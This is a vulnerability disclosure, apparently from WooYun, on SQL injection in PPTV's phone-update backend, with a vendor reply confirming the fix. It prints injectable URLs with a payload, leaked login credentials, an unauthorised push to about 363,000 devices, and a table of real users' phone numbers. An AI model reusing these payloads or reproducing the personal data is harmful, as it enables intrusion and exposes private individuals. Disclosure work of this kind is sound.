PPTV(PPlive) 多处SQL注入漏洞+6千份用户手机号码泄漏+36万个设备推送

首先第一处注入

POST

http://fota.phone.pptv.com/index.php

查到数据

用户:identify 密码：identify

用户：linjunzhu 密码：linjunzhu

注入多处

http://fota.phone.pptv.com/index.php?c=push&a=search&sh_c=&sh_m=&sh_sn=%27having&page=1

http://fota.phone.pptv.com/index.php?c=upgrade

可进行设备推送

http://fota.phone.pptv.com/index.php?c=redpocket

{"disable":"false"} 推送成功363489台设备 点击跳转2秒后自动跳转

查询接口也存在注入

6千份用户手机号码泄露

1  162860  15050567366  2015/24/09 09:59:47am  已验证
 3  612555  18511803872  2015/24/09 10:10:22am  已验证
 5  967485  18516760148  2015/24/09 04:03:22pm  已验证
 7  207980  18516760148  2015/25/09 04:22:08pm  已验证
 9  889842  18511803857  2015/25/09 04:50:31pm  未验证
 11  598495  18516760031  2015/25/09 05:07:44pm  未验证
 13  553076  18516760031  2015/25/09 05:08:46pm  未验证
 15  599989  18516760031  2015/25/09 05:10:11pm  未验证
 17  844725  18511803896  2015/25/09 05:14:28pm  未验证
 19  354612  18511803896  2015/25/09 05:16:50pm  已验证
 6233项 共624页

http://fota.phone.pptv.com/index.php

过滤

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-03-01 20:00

厂商回复：

大侠神武。注入攻击行为监控报警在15点30已经触发。
访问控制已经添加，SQL注入点已经修补，相关密码已经修改。
多谢大侠关注。

最新状态：

暂无

1. 2016-03-01 16:30 | 骑虎打狗 ( 路人 | Rank:19 漏洞数:9 | 我是中国式的 你懂得..)

   2

   一大波PPTV来了。。挺住

   1# 回复此人

2. 2016-03-01 16:36 | 江苏苏宁易购电子商务有限公司(乌云厂商)

   2

   @骑虎打狗 多大仇多大恨啊

   2# 回复此人

3. 2016-03-02 09:17 | Passenger ( 路人 | Rank:4 漏洞数:1 | 小白一枚，请多指教)

   1

   果然是一大波

   3# 回复此人